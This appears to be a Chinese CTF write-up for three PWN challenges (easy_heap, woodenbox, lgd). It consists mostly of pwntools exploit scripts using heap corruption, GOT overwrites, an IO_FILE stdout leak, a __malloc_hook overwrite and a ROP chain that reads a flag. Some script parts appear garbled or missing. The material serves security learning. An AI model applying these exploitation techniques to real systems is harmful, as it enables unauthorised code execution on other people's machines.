# 高校战“疫”网络安全分享赛-部分PWN题-wp

```1.本文由复眼小组的RGDZ师傅原创
2.本文共3500字,图片30张 预计阅读时间10分钟
3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下!```

## 0x01.easy_heap:

main函数如下:

del函数可以发现指针已经清0

### 3.完整EXP:

```from pwn import *

context.log_level = "debug"

io = process("easyheap")
# io = remote("121.36.209.145", 9997)
elf = ELF('easyheap')
libc = ELF("libc.so.6")

def c(idx):

c(1)
io.sendlineafter("How long is this message?", str(size))
io.sendafter("What is the content of the message?", buf)

def free(idx):
c(2)
io.sendlineafter("What is the index of the item to be deleted?", str(idx))

def edit(idx, buf):
c(3)
io.sendlineafter("What is the index of the item to be modified?", str(idx))
io.sendafter("What is the content of the message?", buf)

free(0)
free(1)

c(1)
io.sendlineafter("How long is this message?", str(0x500))

buf = p64(0)
buf += p64(0x21)
buf += '\x70'    #fix
edit(0, buf)
attach(io)

edit(1, p64(elf.got['free']))
edit(2, p64(elf.plt['puts']))
edit(1, p64(elf.got['atoi']))

free(2)
io.recv()
log.info("libcbase: 0x%x"%libcbase)

# 2 is 0 so fix 1
buf = p64(0)
buf += p64(0x21)
buf += p64(elf.got['atoi'])    #fix  atoi to system
buf += p64(0x500)
edit(0, buf)

io.recv()
io.sendline("/bin/sh")
io.interactive()```

## 0x02.woodenbox:

### 1.函数分析:

edit函数如下，这里可以发现很明显的堆溢出了，重新输入了`size`，但并没有重新申请`chunk`

remove函数如下:

### 2.思路简述:

`echo 0 > /proc/sys/kernel/randomize_va_space`

•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057

### 3.完整EXP如下:

```from pwn import *

context.log_level = "debug"

# io = process("./woodenbox2")

elf = ELF('./woodenbox2')
libc = ELF('./libc.so')

def c(idx):

c(1)
io.sendafter("Please enter the length of item name:", str(size))
io.sendlineafter("Please enter the name of item:", buf)

def edit(idx, buf):
c(2)
io.sendlineafter("Please enter the index of item:", str(idx))
io.sendafter("Please enter the length of item name:", str(len(buf)))
io.sendafter("Please enter the new name of the item:", buf)

def free(idx):
c(3)
io.sendlineafter("Please enter the index of item:", str(idx))

def pwn():
add(0x80, '') # 6 #unsort bin

free(6) #
free(6)
free(2)

buf = '\x00'*0x68
buf += p64(0x71)
buf += "\x20"
edit(0, buf)

buf = '\x00'*0x68
buf += p64(0x71)
buf +=  p16(0x25dd) # stderr+157
edit(2, buf)

attach(io)

# attack stdout
buf = '\x00'*0x33
buf += p64(0)*3+'\x00'
edit(4, buf)            # leak _IO_2_1_stdout_+131

# leak libcbase
stdout_a = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.success("stdout_a: 0x%x"%stdout_a)
libc.address = stdout_a - libc.sym['_IO_2_1_stderr_'] - 192

free(6)
# malloc_hook_near = "\xed\x1a"
malloc_hook_near = p64(+libc.sym['__malloc_hook']-0x23)
buf = '\x00'*0x68
buf += p64(0x71)
buf += malloc_hook_near
edit(4, buf)    #fix fastbin and attack malloc-0x23

# attack malloc
free(6)
free(6)
#fix fastbin

free(3)
edit(5, p64(0))

# # unsorted bin attack
# buf = '\x00'*0x68
# buf += p64(0x90)
# buf += p64(0)
# buf += "\x00"
# edit(1, buf)

# attack get shell
buf = '\x00'*0x13
edit(4, buf)

# gdb.attach(io)
c(4)
io.interactive()

for i in range(200):
try:
# io = remote("121.36.215.224", 9998)
io = process("./woodenbox2")
pwn()
except:
print(i)```

## 0x03.lgd:

del函数关键如下:

edit函数如下:

show函数如下:

### 2.思路简述:

•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14

•详解 De1ctf 2019 pwn——unprintable —— https://www.anquanke.com/post/id/183859

### 3.完整EXP如下:

```from pwn import *

context.arch = 'amd64'
context.log_level = "debug"

io = process("./pwn")
# io = remote("121.36.209.145", 9998)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")

def init():
name = "wo si n baba!!!!,sb chu ti ren"
io.sendafter("son call babaaa,what is your name? ", name)

def c(idx):
io.sendlineafter(">> ", str(idx))

c(1)
io.sendlineafter("______?", str(size))
io.sendlineafter("start_the_game,yes_or_no?", "a"*(real_size))

def free(idx):
c(2)
io.sendlineafter("index ?", str(idx))

def show(idx):
c(3)
io.sendlineafter("index ?", str(idx))

def edit(idx, buf):
c(4)
io.sendlineafter("index ?", str(idx))
io.sendafter("___c___r__s__++___c___new_content ?", buf)

init()

free(0)

show(0)

main_arena_88 = u64(io.recvuntil("\x7f")[1:].ljust(8, '\x00'))

#attack bss
free(3)
buf = "\x00"*0x18
buf += p64(0x71)
buf += p64(0x603268) #0
edit(2, buf)

# leak environ
buf = '\x00'*0x68
buf += p64(libc.symbols['environ'])
edit(5, buf)
show(0)
environ = u64(io.recvuntil("\x7f")[1:].ljust(8, "\x00"))
log.success("environ: 0x%x"%environ)

free(1)

io.recv()
# attack stack and malloc_hook
buf = '\x00'*0x60
buf +=  "flag".ljust(8, "\x00")
buf += p64(0) # 0

edit(5, buf)

layout = [
# "flagx00x00x00x00", # ret
0x0000000000400711, # ret
0x0000000000400711, # ret
0x0000000000400711, # ret

0x00000000004023b3, # : pop rdi ; ret
0x00000000004023b1, # : pop rsi ; pop r15 ; ret
0,
0,
libc_addr + 0x0000000000033544, # : pop rax ; ret
2, # sys_open
libc_addr + 0x00000000001077F5, # : syscall ; ret

0x00000000004023b3, # : pop rdi ; ret
3,
0x00000000004023b1, # : pop rsi ; pop r15 ; ret
0x6033E0,
0,
libc_addr + 0x0000000000001b92, # : pop rdx ; ret
0x100,

0x00000000004023b3, # pop rdi
1,
0x00000000004023b1, # pop rsi
0x6033E0,
0,
libc_addr + 0x0000000000001b92, # pop rdx
0x50,

libc_addr + 0x0000000000033544, # pop eax
1,

elf.plt['exit']
]

c(4)
io.sendlineafter("index ?", str(1))
# attach(io)
io.sendafter("___c___r__s__++___c___new_content ?", flat(layout))
io.interactive()```

## 0x05.参考文章:

•从一题看利用IO_file to leak——https://xz.aliyun.com/t/5057•Hex-Rays: 十步杀一人，两步秒OLLVM-BCF——https://bbs.pediy.com/thread-257213.htm•一道CTF题目学习prctl函数的沙箱过滤规则——https://www.anquanke.com/post/id/186447#h3-14•详解 De1ctf 2019 pwn——unprintable——https://www.anquanke.com/post/id/183859

0 条评论

• ### Bayonet-一体化的资产管理系统

Github地址：https://github.com/CTF-MissFeng/bayonet

• ### VulnHub通关日记-Mr-Robot-1-Nmap提权获取Flag

靶机介绍：根据演练，机器人先生。此VM具有隐藏在不同位置的三个Key。您的目标是找到全部三个。每个Key逐渐难以找到。该级别被认为是初学者-中级。 下载地址：h...

• ### 内网渗透靶机-VulnStack 1

靶机是红日团队开源的一个靶机，靠着这个环境学习到了很多啊哈哈哈！现在自己也是会搭建一些环境了！也是靠着这个靶机从0开始学内网，了解内网渗透，虽然很菜很菜很菜！靶...

• ### 如何设计完善的构建系统，为日常开发提速一倍

在搭建开发环境的构建系统时，我们关注二点： 提高效率，对于大部分事务的自动化，如自动编译代码、自动重启服务。 代码质量，编码完成时，我们则转而关注于代码的质量。...

• ### 探秘|揭秘阿里200亿投资的张北数据中心

阿里张北数据中心未来将成为阿里各项核心业务在北方最重要的基础设施。阿里巴巴CTO张建锋表示，在今年的双11狂欢节中，阿里张北数据中心也将迎来不眠夜，和全球一起...

• ### 移动APP的IM后台架构浅析

IM(InstantMessaging 即时通讯)作为一项基础功能，很多APP都有，比如：手机QQ、微信、易信、钉钉、飞信、旺旺、咚咚、陌陌等。而IM如同我们日...

• ### 提高GIT中代码质量的七点优秀实践

毋庸置疑，由于Git允许开发人员能够同时在相同的代码库上工作，因此它在各类软件开发中起到了重要的作用。不过，我们也发现部分开发人员由于未能遵循Git的相关最佳实...

• ### Pyechart入门

pyecharts是一个用于生成echarts图表的类库。echarts是百度开源的一个数据可视化库，用echarts生成的图可视化效果非常棒。使用pyecha...

• ### 移动应用性能测试工具—PerfDog

当前移动设备越来越多地涌现在我们日常生活中，人们通过移动设备可以高效地完成很多事，比如网络购物、充值缴费、新闻资讯、理财等。随着中国IT、互联网的发展和市场的不...

• ### Movement Disorders脑电格兰杰因果分析:运动皮质在帕金森病复发性震颤中的作用

帕金森患者在手臂伸展时可能会出现不同程度的复发性震颤。来自罗马大学的Alfredo Berardelli等人在Movement Disorders发文，旨在探讨...